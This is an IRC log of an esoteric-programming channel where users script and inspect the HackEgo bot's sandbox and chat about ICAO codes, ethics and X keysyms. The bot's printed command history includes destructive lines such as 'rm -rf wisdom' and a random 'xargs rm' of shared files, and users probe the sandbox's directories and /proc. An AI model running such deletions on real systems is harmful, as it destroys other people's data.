00:03:06 <hppavilion[1]> shachaf: You should have gone for a more aggressive approach that looks like legalese and sounds legally binding
00:03:48 <oerjan> a shrink-wrapped @teula
00:03:56 <oerjan> @teula shachaf try that.
00:03:56 <lambdabot> Consider it noted.
00:04:32 <shachaf> @message-lead
00:04:32 <lambdabot> Unknown command, try @list
00:04:38 <shachaf> curses
00:04:42 <shachaf> @messages-lead
00:04:42 <lambdabot> oerjan said 45s ago: try that.
00:05:00 <oerjan> @messages-gold
00:05:00 <lambdabot> You don't have any messages
00:05:23 <shachaf> @tell boily rainbhellow
00:05:23 <lambdabot> Consider it noted.
00:06:08 <shachaf> `rainbow blah
00:06:45 <HackEgo> No output.
00:06:52 <oerjan> `rainbow blah
00:07:12 <oerjan> right, it was one of those.
00:07:15 <shachaf> `` echo blah | rainbow
00:07:29 <oerjan> i had a crazy idea to fix that...
00:07:33 <HackEgo> No output.
00:07:33 <HackEgo> blah
00:07:40 <oerjan> `cat bin/rainbow
00:07:41 <HackEgo> ​#!/usr/bin/env python \ import random \ import re \ w=raw_input() \ p=list('x'*len(w)+'C'*int((341-len(w))/3+1)) \ random.shuffle(p) \ p=list(re.sub('C+','C',''.join(p))) \ i=(c for c in w) \ print ''.join(i.next() if c=='x' else chr(3)+'%02d' % random.randrange(2,15) for c in ['C']+p)
00:08:07 <shachaf> `` echo -n 'hi '; echo "HellockEgo" | rainbow
00:08:10 <HackEgo> hi HellockEgo
00:08:33 <shachaf> `` echo -n 'lambdabot: @tell boily '; echo "HellockEgo" | rainbow
00:08:37 <HackEgo> lambdabot: @tell boily HellockEgo
00:08:37 <lambdabot> Consider it noted.
00:08:52 <hppavilion[1]> Ugh
00:08:54 <shachaf> wait, that's backwards
00:09:11 <hppavilion[1]> We need to establish a distinction between "Picture", "Image", and "Photograph"
00:09:25 <hppavilion[1]> Or, at least, between "Photograph" and more general images
00:09:35 <zzo38> Some airports have ICAO code but no IATA code, while some others have IATA code but no ICAO code. However, the first letter of ICAO code will not be I and J, therefore you could use it in this way if this is required.
00:09:47 <hppavilion[1]> Rule: A photograph actually happened and you cameraed it. Google should account for this.
00:10:14 <shachaf> zzo38 Why will the first letter not be I and J?
00:10:17 <shachaf> :
00:10:28 <oerjan> hppavilion[1]: the problem i see with that is that the only way to ensure that is with some kind of DRM
00:10:51 <Etaoin> @tell boily we're just spamming you at this point tbh
00:10:51 <lambdabot> Consider it noted.
00:10:57 <hppavilion[1]> oerjan: Well it isn't about ensuring; just about the general case
00:11:16 <hppavilion[1]> oerjan: Shops count as photographs, loosely, so this isn't a way to tell if a picture is shopped
00:11:27 <oerjan> OAKY
00:12:33 <zzo38> shachaf: Those letters are not used. In addition, X is for internal codes, while Q is for non-geographical special uses.
00:13:06 <oerjan> I,I I is unused
00:13:18 <shachaf> zzo38: But what if they're used in the future?
00:13:37 <zzo38> I don't know possibly they would be
00:14:12 <Etaoin> fungot
00:14:13 <fungot> Etaoin: mr president, i had a doubt: i had the opportunity recently to visit the christian churches out there are calling for today. the barcelona summit in further detail in april, are therefore unacceptable to the commission. in fact, parliamentarians can also be sure that member states which are now being removed from the positions expressed, the true reason for the increase in the financial, environmental and health problem
00:14:17 <zzo38> ZZZZ indicates that no ICAO code exists.
00:15:21 <oerjan> <hppavilion[1]> lifthrasiir: Shouldn't humans be "Most Concern"? As in, "They're the ones fucking everything up in the first place"? <-- i'm not sure the classification applies to species _creating_ trouble rather than _suffering_ from it
00:15:42 <hppavilion[1]> oerjan: Ah.
00:15:45 <shachaf> What does ZZO38 indicate?
00:15:47 <hppavilion[1]> oerjan: Well we need a system for that too.
00:15:49 <oerjan> although i suppose there might be an "invasive species" classification
00:15:53 <hppavilion[1]> @metar ZZ038
00:16:13 <zzo38> ICAO codes can only be four letters long.
00:17:26 <oerjan> hppavilion[1]: http://conservationmagazine.org/2014/05/scientists-propose-new-classification-scheme-for-invasive-species/
00:17:32 <hppavilion[1]> oerjan: yes, I found that
00:17:38 <hppavilion[1]> zzo38: That's what they want you to think
00:17:53 <oerjan> how dare you google the same terms as i!
00:18:17 <hppavilion[1]> It's weird that people talk about letting nature run its course and not interfering and how humans are interfering with animal life and we should just let animals progress naturally
00:18:41 <hppavilion[1]> Without accounting for the fact that humans fucking everything up is the definition of letting a species thrive and flourish naturally
00:20:47 <hppavilion[1]> Where do hippies draw the line for animal cruelty? At what point does harming an animal become cruel?
00:20:51 -!- augur has quit (Remote host closed the connection).
00:21:16 <Etaoin> if two heads are better than one does that imply that four eyes are better than two and thus people with glasses are innately superior?
00:22:33 -!- idris-bot has quit (Quit: Terminated).
00:22:39 -!- jaboja has quit (Ping timeout: 264 seconds).
00:23:30 <Etaoin> how annoying would a bot that corrects typos be?
00:23:43 <shachaf> Very.
00:23:46 <shachaf> lambdabot has a mode for that.
00:23:47 <oerjan> hppavilion[1]: all the rules about animal ethics are ad hoc because human doesn't have the technology to be consistent about it. in the extreme, we'd have to stop killing millions of bacteria (as well as cells in our own body) simply by existing.
00:23:52 <oerjan> *humans
00:23:57 <oerjan> *humans don't
00:26:25 <oerjan> and of course there's the added issue that we don't really _know_ what other species feel, we just assume that human-resembling behavior corresponds to sentience.
00:26:54 <oerjan> which means we cannot even really tell whether it would be _good_ to change the biosphere to be "ethical".
00:26:59 <oerjan> yet.
00:28:47 <oerjan> for all we know, eating a carrot causes as much suffering as eating an animal.
00:29:37 <Etaoin> afaik grass senses pain
00:31:51 <oerjan> (also this applies to the importance of brains, i guess)
00:35:35 -!- jaboja has joined.
00:40:35 <oerjan> `hoag wisdom/arothmorphise
00:40:38 <oerjan> oops
00:41:04 <oerjan> `hoag wisdom/arothmorphise
00:41:19 * oerjan too lazy to wait to see whether the space broke it.
00:41:21 <HackEgo> No output.
00:41:23 <HackEgo> ​<int-e> revert accbc9c5c7ec \ <ais523> echo wisdom/* | shuf | head -n 10 | xargs rm \ <oerjan> revert \ <elliott> revert 1 \ <boily> learn arothmorphise ... antormo... antrohm... ant... oh bugger. This should go in the `misspellings of antrhrop... atnhro...\' entry.
00:41:51 <oerjan> hm boily's is the only substantial one.
00:42:37 <oerjan> `cat bin/hoag
00:42:40 <HackEgo> hg log --removed --template "{desc}\n" -- "$@"
00:42:52 <oerjan> `cat bin/culprits
00:42:54 <HackEgo> hg log --removed -- "$1" | grep summary: | sed "s/ +/ /g" | sed "s/^ //" | awk '{print substr($2,2,length($2)-2)}'| sed "s/.$/\x0F&/" | xargs
00:44:09 <shachaf> culprits should just use hoag
00:44:13 <shachaf> make it so twh
00:44:39 <oerjan> is that obviously equivalent?
00:45:32 <shachaf> No, it's better.
00:45:58 <oerjan> wait, do you mean _including_ the command parts?
00:46:19 <shachaf> ?
00:46:27 <shachaf> hoag replaces the hg log and the grep
00:46:34 <oerjan> right
00:46:40 <shachaf> `1 hg help templates
00:46:45 <HackEgo> 1/23:Template Usage \ \ Mercurial allows you to customize output of commands through templates. \ You can either pass in a template from the command line, via the \ --template option, or select an existing template-style (--style). \ \ You can customize output for any "log-like" command: log, outgoing, \ incomin
00:46:52 <oerjan> shachaf: stop.
00:47:14 <shachaf> I thought you only objected when people got to three digits?
00:47:39 <oerjan> i'm objecting because i want the old code not to run off the screen hth
00:47:46 <oerjan> `cat bin/culprits
00:47:48 <HackEgo> hg log --removed -- "$1" | grep summary: | sed "s/ +/ /g" | sed "s/^ //" | awk '{print substr($2,2,length($2)-2)}'| sed "s/.$/\x0F&/" | xargs
00:47:51 -!- jaboja has quit (Ping timeout: 264 seconds).
00:50:46 <oerjan> `` hg log --removed wisdom/arothmorphise | grep summary:
00:50:55 <HackEgo> summary: <int-e> revert accbc9c5c7ec \ summary: <ais523> echo wisdom/* | shuf | head -n 10 | xargs rm \ summary: <oerjan> revert \ summary: <elliott> revert 1 \ summary: <boily> learn arothmorphise ... antormo... antrohm... ant... oh bugger. This should go in the `misspellings of antrhrop... atnhro...\' entry.
00:51:31 <shachaf> `hoag wisdom/arothmorphise
00:51:35 <HackEgo> ​<int-e> revert accbc9c5c7ec \ <ais523> echo wisdom/* | shuf | head -n 10 | xargs rm \ <oerjan> revert \ <elliott> revert 1 \ <boily> learn arothmorphise ... antormo... antrohm... ant... oh bugger. This should go in the `misspellings of antrhrop... atnhro...\' entry.
00:52:47 <oerjan> `mkx bin/culprits//hoag "$@" | awk '{print substr($1,2,length($1)-2)}' | sed "s/.$/\x0F&/" | xargs
00:52:52 <HackEgo> bin/culprits
00:53:00 <oerjan> `culprits wisdom/arothmorphise
00:53:05 <HackEgo> int-e ais523 oerjan elliott boily
00:53:08 <oerjan> yay
00:53:22 <shachaf> Wait, did that change anything?
00:53:36 <oerjan> i hope not?
00:53:56 <shachaf> `ls
00:53:59 <HackEgo> ​!\.´ \ advice \ bin \ canary \ cdescs \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ ps \ quine \ quines \ quotes \ share \ src \ theorems \ tmflry \ tmp \ wisdom \ wisdom.pdf
00:54:12 -!- augur has joined.
00:54:17 <shachaf> `cat quine
00:54:18 <HackEgo> echo `quine
00:54:36 <shachaf> what?
00:54:38 <shachaf> `culprits quine
00:54:42 <HackEgo> zgrep
00:55:24 <oerjan> `rm quine
00:55:25 <\oren\> I'm working on a colour scheme for my terminal
00:55:28 <oerjan> it's not working anway
00:55:28 <HackEgo> No output.
00:55:30 <oerjan> *+y
00:56:04 <zgrep> Wait, I'm the culprit!?
00:56:06 <oerjan> `culprits wisdom/taneb
00:56:12 <HackEgo> oerjan boily Taneb oerjan Taneb oerjan oerjan elliott shachaf boily oerjan ais523 ais523 shachaf elliott FreeFull shachaf shachaf oerjan oerjan FreeFull oerjan FreeFull Taneb shachaf shachaf nitia
00:56:14 <oerjan> `hoag quine
00:56:18 <HackEgo> ​<oerjan> rm quine \ <zgrep> ` echo "echo \\`quine" >> quine
00:56:33 <zgrep> `quine
00:56:44 <shachaf> `cat bin/hoag
00:56:47 <HackEgo> hg log --removed --template "{desc}\n" -- "$@"
00:56:53 <oerjan> zgrep: your syntax was wrong.
00:56:59 <zgrep> Yeah. :(
00:57:04 <HackEgo> ​/hackenv/bin/quine: 2: cd: can't cd to /var/irclogs/_esoteric \ ls: cannot access ????-??-??.txt: No such file or directory
00:57:44 <oerjan> zgrep: also that's not where commands that can be invoked are put. and we already had a quine command, not that it worked.
00:58:05 <oerjan> hm we can replace it with that proc thing
00:58:13 <oerjan> `cat bin/quine
00:58:13 <zgrep> I know now. I guess I didn't know back when I made it. And I didn't know at all about the quite command that you had.
00:58:14 <HackEgo> ​#!/bin/sh \ cd /var/irclogs/_esoteric; cat $(ls ????-??-??.txt | tail -1) | sed 's/[^>]*> //' | grep '^`' | tail -1 #Best cheating quine ever?
00:58:24 <zgrep> quine*
00:58:53 <shachaf> `` hg log --removed --template "{date|shortdate} {desc}\n" wisdom/quine
00:58:56 <shachaf> Er.
00:58:56 <HackEgo> 2013-10-06 <oerjan> revert 3875 \ 2013-10-05 <JWinslow23> learn QUINE `? QUINE \ 2013-07-31 <Bike> revert \ 2013-07-31 <FreeFull> for x in wisdom/*; do rev "$x" > "$x"a; mv "$x"a "$x"; done \ 2012-10-06 <oerjan> revert \ 2012-10-06 <FreeFull> run rm -rf wisdom \ 2012-04-08 <shachaf> revert 0 \ 2012-04-08 <shachaf> run rm -rf wisdom/* \ 2012-02-16 I
00:58:59 <shachaf> `` hg log --removed --template "{date|shortdate} {desc}\n" quine
00:59:04 <HackEgo> 2016-06-27 <oerjan> rm quine \ 2016-01-18 <zgrep> ` echo "echo \\`quine" >> quine
00:59:53 <shachaf> `mkx bin/doag//hg log --removed --template "{date|shortdate} {desc}\n" -- "$@"
00:59:56 <HackEgo> bin/doag
01:00:24 <shachaf> `doag bin/hoag
01:00:28 <HackEgo> 2016-06-12 <shachaf> sled bin/hoag//s/"\\$@"/-- "$@"/ \ 2016-06-09 <shachaf> ` mv bin/ho{gue,ag}
01:00:48 <oerjan> i was wondering how to do something like that
01:00:54 <oerjan> `? cmd
01:00:55 <HackEgo> cmd? ¯\(°​_o)/¯
01:00:58 <oerjan> `? cmdline
01:01:00 <HackEgo> cmdline? ¯\(°​_o)/¯
01:01:06 <oerjan> hm where is it
01:01:12 <oerjan> `wisdom cmd
01:01:18 <HackEgo> ​//cat: : No such file or directory
01:01:22 <oerjan> `wisdom line
01:01:24 <HackEgo> onëliner//onëliners are pairs of unfathomable vectors in the category of exponential distance.
01:01:27 <oerjan> `wisdom line
01:01:29 <HackEgo> onëliner//onëliners are pairs of unfathomable vectors in the category of exponential distance.
01:01:33 <hppavilion[1]> It's widely agreed that it's turtles all the way down
01:01:37 <hppavilion[1]> But are we certain we're at the top?
01:01:48 <shachaf> We're at the top with probability 0.
01:02:20 <shachaf> oerjan: What are you looking for?
01:02:25 <shachaf> `? shavention
01:02:38 <zgrep> `tomfoolery turtles
01:04:00 <shachaf> oerjan: https://www.selenic.com/hg/help/templates will teach you how to format a date to include the timestamp, if you wish.
01:04:02 <oerjan> hppavilion[1]: https://qntm.org/responsibility
01:04:18 <HackEgo> I must confess, I know not of what you are speaking.
01:04:19 <HackEgo> No output.
01:04:21 <shachaf> oerjan: i thought of the same story tdh
01:04:24 <oerjan> shachaf: nah your doag is enough
01:04:55 <oerjan> shachaf: i assume we both learned of it on this channel.
01:04:55 <hppavilion[1]> oerjan: Ah, yes, that story
01:05:04 <hppavilion[1]> I should read it agian
01:05:16 <shachaf> Did I? I didn't think so but I don't remember.
01:05:25 <shachaf> `? shavention
01:05:28 <HackEgo> shaventions include: before/lastfiles, culprits, hog/hogue, le//rn, tmp/, mk/mkx, sled/sedlast, spore/spam/speek/sport/1. Taneb invented them.
01:05:51 <oerjan> shachaf: or you may have been the one who brought it here.
01:05:53 <shachaf> `slwd shavention//s#hogue#{h,d}oag#
01:05:59 <shachaf> unlikely
01:05:59 <HackEgo> wisdom/shavention//shaventions include: before/lastfiles, culprits, hog/{h,d}oag, le//rn, tmp/, mk/mkx, sled/sedlast, spore/spam/speek/sport/1. Taneb invented them.
01:06:04 <oerjan> `` grep -r grep wisdom
01:06:21 <oerjan> `` grep -r -l grep wisdom
01:06:46 <shachaf> symmetry requires me to create dog so i can type {h,d}o{,a}g
01:07:31 <oerjan> `hog
01:07:46 <HackEgo> No output.
01:07:58 * oerjan gives HackEgo some percussive maintenance
01:08:06 <HackEgo> ​<shachaf> slwd shavention//s#hogue#{h,d}oag# \ <shachaf> mkx bin/doag//hg log --removed --template "{date|shortdate} {desc}\\n" -- "$@" \ <oerjan> rm quine \ <oerjan> mkx bin/culprits//hoag "$@" | awk \'{print substr($1,2,length($1)-2)}\' | sed "s/.$/\\x0F&/" | xargs \ <b_jonas> learn physiology looks confusingly like psychology when written in
01:08:07 <HackEgo> No output.
01:08:56 <Etaoin> perl vs ruby?
01:09:01 <oerjan> `cat bin/hog
01:09:03 <HackEgo> hg log --template "{desc}\n" -- "$@"
01:09:26 <\oren\> I'm working on a colour scheme for my terminal because I don't like the one i have, and I don't like Solarized
01:09:27 <oerjan> did someone delete the file that linked to the current command line
01:09:39 <shachaf> `hoag wisdom/cmdline
01:09:42 <HackEgo> No output.
01:09:50 <shachaf> `` hoag | grep cmdline
01:09:56 <HackEgo> ​<shachaf> ` >bin/cmd echo -e \'#!/bin/bash\\npid="$PPID"\\n[ -n "$1" ] && pid="$1"; cut -d "" -f 3 < /proc/$pid/cmdline\' \ <shachaf> ` >bin/cmd echo -e \'#!/bin/bash\\ncut -d "" -f 3 < /proc/$1/cmdline\'; chmod +x /tmp/hmm \ <tswett> ` ln -s /proc/self/cmdline wisdom/reflection \ <Roujo> sed /proc/285/cmdline s/sed/des/g > dog \ <Jafet> (echo \
01:10:16 <oerjan> `cat bin/cmd
01:10:17 <HackEgo> ​#!/bin/bash \ pid="$PPID" \ [ -n "$1" ] && pid="$1"; cut -d "" -f 3 < /proc/$pid/cmdline
01:10:22 <oerjan> `cmd
01:10:23 <shachaf> `hoag wisdom/reflection
01:10:24 <HackEgo> ​'env' 'PATH=/hackenv/bin:/opt/python27/bin:/opt/ghc/bin:/usr/bin:/bin' 'HACKENV=/hackenv' 'http_proxy=http://127.0.0.1:3128' 'LANG=en_NZ.UTF-8' '/home/hackbot/hackbot.hg/multibot_cmds/lib/limits' 'cmd' | cat
01:10:29 <oerjan> oh
01:10:39 <HackEgo> ​<int-e> revert accbc9c5c7ec \ <ais523> echo wisdom/* | shuf | head -n 10 | xargs rm \ <tswett> ` ln -s /proc/self/cmdline wisdom/reflection
01:11:17 <oerjan> `? reflection
01:11:19 <HackEgo> cat.reflection.
01:11:31 <oerjan> hm that's too local
01:11:40 <oerjan> not a replacement for `quine.
01:11:44 <shachaf> `cat bin/cmd
01:11:47 <HackEgo> ​#!/bin/bash \ pid="$PPID" \ [ -n "$1" ] && pid="$1"; cut -d "" -f 3 < /proc/$pid/cmdline
01:11:53 <shachaf> `` echo $(cmd)
01:11:54 <HackEgo> echo $(cmd)
01:12:45 <oerjan> shachaf: still a little less featured. `quine could be used as a subcommand and still gave the whole thing.
01:13:15 <\oren\> http://orenwatson.be/ColorScheme.PNG
01:14:19 <shachaf> `mkx bin/cmd//cut -d "" -f 3 < /proc/${1-$PPID}/cmdline
01:14:24 <HackEgo> bin/cmd
01:14:27 <shachaf> `cmd
01:14:28 <HackEgo> ​'env' 'PATH=/hackenv/bin:/opt/python27/bin:/opt/ghc/bin:/usr/bin:/bin' 'HACKENV=/hackenv' 'http_proxy=http://127.0.0.1:3128' 'LANG=en_NZ.UTF-8' '/home/hackbot/hackbot.hg/multibot_cmds/lib/limits' 'cmd' | cat
01:14:33 <shachaf> `` cmd
01:14:34 <HackEgo> cmd
01:15:00 <shachaf> oerjan: I was going to make a smarter version of cmd that always found the right HackEgo pid, but then instead of doing it I didn't do it.
01:15:07 <oerjan> ah.
01:15:22 <oerjan> sounds a bit tricky, anyway.
01:15:52 <shachaf> you have a superb skill at getting to the bottom of things hth
01:16:07 <oerjan> but not always superb motivation
01:16:09 <shachaf> `` curl "$http_proxy"
01:16:12 <HackEgo> Failed to connect to socket 2. \ % Total % Received % Xferd Average Speed Time Time Time Current \ Dload Upload Total Spent Left Speed \
01:16:39 <shachaf> `ls /home/hackbot
01:16:41 <HackEgo> hackbot.hg
01:16:46 <shachaf> `ls /home/hackbot/hackbot.hg
01:16:47 <HackEgo> multibot_cmds
01:16:54 <shachaf> `ls /home/hackbot/hackbot.hg/multibot_cmds
01:16:54 <HackEgo> lib
01:17:01 -!- Etaoin has quit (Quit: R.I.P.).
01:17:03 <shachaf> i'm sensing a pattern here
01:17:04 <shachaf> `ls /home/hackbot/hackbot.hg/multibot_cmds/lib
01:17:06 <HackEgo> fetch \ limits \ revert \ sandbox
01:17:44 <oerjan> i'm sensing a broken pattern
01:18:13 <shachaf> `ls /opt/ghc
01:18:15 <HackEgo> ls: cannot access /opt/ghc: No such file or directory
01:18:18 <shachaf> good path
01:18:38 <shachaf> `ls tmp
01:18:38 <HackEgo> fruit \ spline \ spout \ tempcmd \ testcmd \ tmp_jonas
01:20:19 <shachaf> What sort of programming language supports serializing its state to a file and resuming later?
01:20:41 <oerjan> `? physiology
01:20:43 <HackEgo> physiology looks confusingly like psychology when written in English.
01:20:53 <oerjan> `slwd physiology s/p/P/
01:20:54 <HackEgo> usage: sled file//script
01:21:00 <oerjan> `slwd physiology//s/p/P/
01:21:03 <HackEgo> wisdom/physiology//Physiology looks confusingly like psychology when written in English.
01:21:13 <shachaf> oerjan: Maybe sled ought to split on the first space if it doesn't see a //
01:21:18 <shachaf> What do you think?
01:21:34 <oerjan> i dunno, it's not uncommon for sed scripts to contain //
01:22:22 <shachaf> But it would most likely just fail in that case.
01:22:28 <oerjan> true.
01:23:04 <oerjan> also, for your other question, doesn't smalltalk do that
01:23:12 <shachaf> Does it?
01:23:34 <shachaf> I thought Smalltalk was all about keeping a VM running forever.
01:23:44 <shachaf> Oh, well, you can serialize the whole VM, sure.
01:23:53 <shachaf> But that's hardly suitable for HackEgo scripts.
01:24:11 <oerjan> heh
01:24:20 <oerjan> i think perl might also have such a feature?
01:25:31 -!- Phantom__Hoover has quit (Read error: Connection reset by peer).
01:25:58 <oerjan> `? hambiguitous
01:26:01 <HackEgo> We're not sure what hambiguitous means, but it's definitely not hth.
01:29:11 <\oren\> `? biguous
01:29:13 <HackEgo> biguous? ¯\(°​_o)/¯
01:33:44 <oerjan> `? oregano
01:33:47 <HackEgo> oregano? ¯\(°​_o)/¯
01:34:22 -!- moonythedwarf has quit (Ping timeout: 272 seconds).
01:34:44 <oerjan> `learn Oregano is the main spice in oreganic foodstuffs.
01:34:49 <HackEgo> Learned 'oregano': Oregano is the main spice in oreganic foodstuffs.
01:35:33 <oerjan> `learn Oregano is the main spice in oreganic cuisine.
01:35:37 <HackEgo> Relearned 'oregano': Oregano is the main spice in oreganic cuisine.
01:35:42 <oerjan> `? cuisine
01:35:45 <HackEgo> cuisine? ¯\(°​_o)/¯
01:35:56 <oerjan> `learn Cuisine is the posh cousin of cooking.
01:35:58 <HackEgo> Learned 'cuisine': Cuisine is the posh cousin of cooking.
01:36:23 <oerjan> i'm not sure these are quite up to my ideal standard, but meh.
01:36:40 <shachaf> Well, they're certainly above the mean.
01:39:20 <oerjan> `? time
01:39:23 <HackEgo> time? ¯\(°​_o)/¯
01:46:13 <hppavilion[1]> Hahahahahahahaha http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO1&Sect2=HITOFF&d=PALL&p=1&u=%2Fnetahtml%2FPTO%2Fsrchnum.htm&r=1&f=G&l=50&s1=6,857,067.PN.&OS=PN/6,857,067&RS=PN/6,857,067
01:53:55 <shachaf> ?
02:04:19 -!- Sgeo_ has quit (Read error: Connection reset by peer).
02:06:50 -!- Sgeo has joined.
02:07:59 -!- moonythedwarf has joined.
02:14:59 -!- spockers has quit (Remote host closed the connection).
02:15:21 -!- spockers has joined.
02:15:27 -!- spockers has quit (Client Quit).
02:16:07 -!- spockers has joined.
02:16:36 -!- lambda-11235 has joined.
02:24:29 <hppavilion[1]> Intelligent Design: Doesn't actually imply that the blueprint matches the final result
02:38:48 <zzo38> Controlling colormaps in my computer does not seem to work as far as I can tell.
02:41:48 <zzo38> Is OpenGL interfering with it somehow?
02:54:11 <zzo38> Or maybe RandR is interfering with it?
03:05:23 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”).
03:09:46 <shachaf> @time oerjan
03:09:46 <lambdabot> Local time for oerjan is Tue Jun 28 04:09:46 2016
03:09:49 <shachaf> whoa whoa whoa
03:09:53 <shachaf> oerjan++
03:10:59 -!- Sgeo_ has joined.
03:12:24 -!- Sgeo has quit (Ping timeout: 276 seconds).
03:13:26 -!- Sgeo has joined.
03:15:25 -!- Sgeo_ has quit (Ping timeout: 252 seconds).
03:16:57 <oerjan> shachaf: :)
03:17:08 <oerjan> someone remembered!
03:17:28 -!- Sgeo_ has joined.
03:18:02 -!- Sgeo has quit (Ping timeout: 260 seconds).
03:18:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
03:19:40 <zzo38> What I found is this https://cgit.freedesktop.org/xorg/xserver/commit/?id=91f73b79b7ae64e5b846d1efeb470bb61a913720 so I should need to disable gamma somehow.
03:26:42 <shachaf> oerjan: well it's still yesterday here
03:39:36 <lifthrasiir> @time lifthrasiir
03:39:39 <lambdabot> Local time for lifthrasiir is Tue Jun 28 11:39:37 2016
03:39:46 <lifthrasiir> CTCP TIME?
03:48:56 -!- Sprocklem has joined.
03:52:44 <Sgeo_> ooh https://www.reddit.com/r/rust/comments/4pun1f/looking_for_feedback_on_my_first_attempt_at_an/
04:14:02 -!- moonythedwarf has quit (Ping timeout: 260 seconds).
04:24:23 -!- augur has quit (Remote host closed the connection).
04:42:15 -!- spockers has quit (Quit: bye http://i.imgur.com/nkzOWAv.jpg).
04:43:28 -!- spocker__ has joined.
04:55:42 -!- augur has joined.
04:58:10 -!- spocker__ has quit (Read error: Connection reset by peer).
05:03:33 -!- spocker__ has joined.
05:04:05 -!- spocker__ has changed nick to spockers.
05:14:08 -!- Kaynato has quit (Ping timeout: 250 seconds).
05:25:27 <lifthrasiir> Sgeo_: I agree that the proposed solution is clever in solving the coherence issue
05:26:27 <moon_> Im now playing df on my tablet using a remote linux
05:26:32 <moon_> :P
05:32:16 -!- lambda-11235 has quit (Quit: Bye).
05:32:21 <lifthrasiir> it should be very boring, GNU df(1) only has 18 options to try
05:33:34 <moon_> Lol
05:33:45 <moon_> dwarf fortress*
05:33:57 <moon_> Nice joke tho
06:13:19 <Cale> Playing dd is more exciting
06:15:31 <lifthrasiir> dwarf dormitory
06:16:04 <myname> moon_: i did that, too, but it was kinda disappointing
06:16:35 <moon_> It works good for me
06:17:11 <moon_> Im using Hacker Keyboard (replacement for the default), it has all keys on a qwerty keyboard
06:17:31 <moon_> inckuding alt ctrl and thag funny little key that i dont know the name of
06:17:43 <myname> i don't like it that much for regular writing
06:17:49 <myname> i am using multiling o
06:30:07 <\oren\> why not just plug a usb keyboard into your tablet
06:37:28 -!- hppavilion[1] has joined.
06:38:40 <hppavilion[1]> @massages-poud
06:38:41 <lambdabot> You don't have any messages
07:06:35 <myname> most keyboards that are actually portable are lacking at one point or the other. plus: it's uncomfortable while riding a bus
07:07:23 <zzo38> A new X protocol could add many additional keysyms. These include UTCE keysyms (0x80000 to 0x8FFFF perhaps), as well as many extras: KP_Paren_L, KP_Paren_R, WindowManager, ZoomIn, ZoomOut, PrevTrack, NextTrack, PrevDisc, NextDisc, VolumeDown, VolumeUp, VolumeMute, ChannelDown, ChannelUp, MediaRewind, MediaFastForward, MediaPlay, MediaStop, MediaPause, MediaRecord, MediaEject, InputSelect, DriveSelect, OSD, OSD_Cancel, MediaTopMenu, MediaSubMenu, C
07:08:26 <myname> i like C
07:10:37 <shachaf> oerjan: whoa whoa whoa, someone sent me a link to a talk from TEDxTrondheim
07:10:46 <shachaf> oerjan: did you go
07:11:21 <oerjan> no.
07:11:30 <zzo38> Some other keysyms can be stuff for telephone such as: AnswerCall, EndCall, Redial, CallerID, SpeedDial, etc.
07:11:53 <shachaf> What about Reredial, Rereredial, etc.?
07:13:26 <zzo38> You don't need it, although there could add a RedialMenu keysym if needed perhaps. (Also, like with any X server, you can program some keysyms to be shifted functions of others.)
07:17:13 <zzo38> (Probably you won't actually need RedialMenu though, just Redial; its exact function depends on the software in use, which is not necessary a X client; however if the same computer system can run X then it would expose this code as a redial function for the telephone.)
07:25:07 <myname> doesn't it have to be "an X client"?
07:25:53 <shachaf> What does OSD do?
07:27:38 <zzo38> To do on screen display for a TV set
07:28:48 <zzo38> Such as to display on the screen what channel/input/whatever. The built-in software may use this to display this information; another client may display its own stuff in this way.
07:39:58 -!- Frooxius has quit (Quit: *bubbles away*).
07:40:17 -!- Frooxius has joined.
07:51:52 <zzo38> Do you think this is OK for the structure to define a widget class in a X client library? typedef struct XwicWidgetClass {
07:52:20 <hppavilion[1]> How specific does Rule34 get?
07:52:47 <zzo38> Do you think this is OK for the structure to define a widget class in a X client library? typedef struct XwicWidgetClass { int eventmask; int windowclass; void(*init)(Display*,Window,Window,XwicResource*); void(*destroy)(Display*,Window,XwicResource*); void(*event)(XEvent*); void(*expose)(XEvent*); void(*layout)(Display*,Window); void(*command)(Display*,Window,XrmQuark,XwicParameter*); } XwicWidgetClass;
07:53:45 <hppavilion[1]> Wow, it's always weird when you see someone from IRC in a different setting
07:53:49 <hppavilion[1]> Even if it's closely related- e.g. agor
07:53:52 <hppavilion[1]> *agora
07:55:08 -!- oerjan has quit (Quit: Nïte).
07:58:16 <hppavilion[1]> Hm, how binding are nomic rules?
07:58:27 <hppavilion[1]> Like, if nomic rules make a declaration that something is to be done
07:58:37 <hppavilion[1]> And don't specify that it's limited to players
07:58:42 <hppavilion[1]> And an external entity imposes restrictions
07:58:44 <izabera> pretty sure in nomic you can change their binding-ness
07:58:49 -!- augur has quit (Remote host closed the connection).
07:59:09 <hppavilion[1]> Could the nomic sue that external entity in the Court of the Internet?
07:59:24 <izabera> whoa not so fast
07:59:40 <hppavilion[1]> "Agora is a sovereign game, and you shall not impede its glory!"
08:03:47 <hppavilion[1]> izabera: The Court of the Internet is really just complaining about it, and the verdicts of the CotI are (a) fuzzy- a partial punishment may be enacted and (b) enforced by 4chan et al.
08:10:57 <hppavilion[1]> Agora CFJ 24: "Players must obey the Rules even in out-of-game actions"
08:11:01 <hppavilion[1]> That's a hardcore mailing list
08:16:45 <hppavilion[1]> Oh god
08:16:53 <hppavilion[1]> I opened a massive file of all known Agora rulesets
08:24:08 -!- MoALTz has joined.
08:33:24 <hppavilion[1]> Oh, "The Rules CANNOT compel non-players to act, nor compel players
08:33:24 <hppavilion[1]> to unduly harass non-players. A non-person CANNOT be a player,
08:33:24 <hppavilion[1]> rules to the contrary notwithstanding."
08:52:41 -!- AnotherTest has joined.
08:56:08 <hppavilion[1]> AnotherTest: I'm watching a video on standardized testing in the US. Your nick is very appropriate.
08:59:03 -!- AnotherTest has quit (Ping timeout: 246 seconds).
09:15:11 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
09:55:08 -!- Phantom_Hoover has joined.
10:28:16 -!- Koen_ has joined.
11:01:40 <Taneb> I need to find a field I'd like to go into
11:03:34 <Taneb> With my undergrad in maths and computer science, I have a lot of choice
11:35:10 -!- boily has joined.
11:38:09 -!- Koen__ has joined.
11:38:35 <boily> `wisdom
11:39:04 <HackEgo> icfp//I see functorial people.
11:40:18 -!- idris-bot has joined.
11:40:39 -!- Koen_ has quit (Ping timeout: 260 seconds).
11:43:00 <boily> @massages-loud
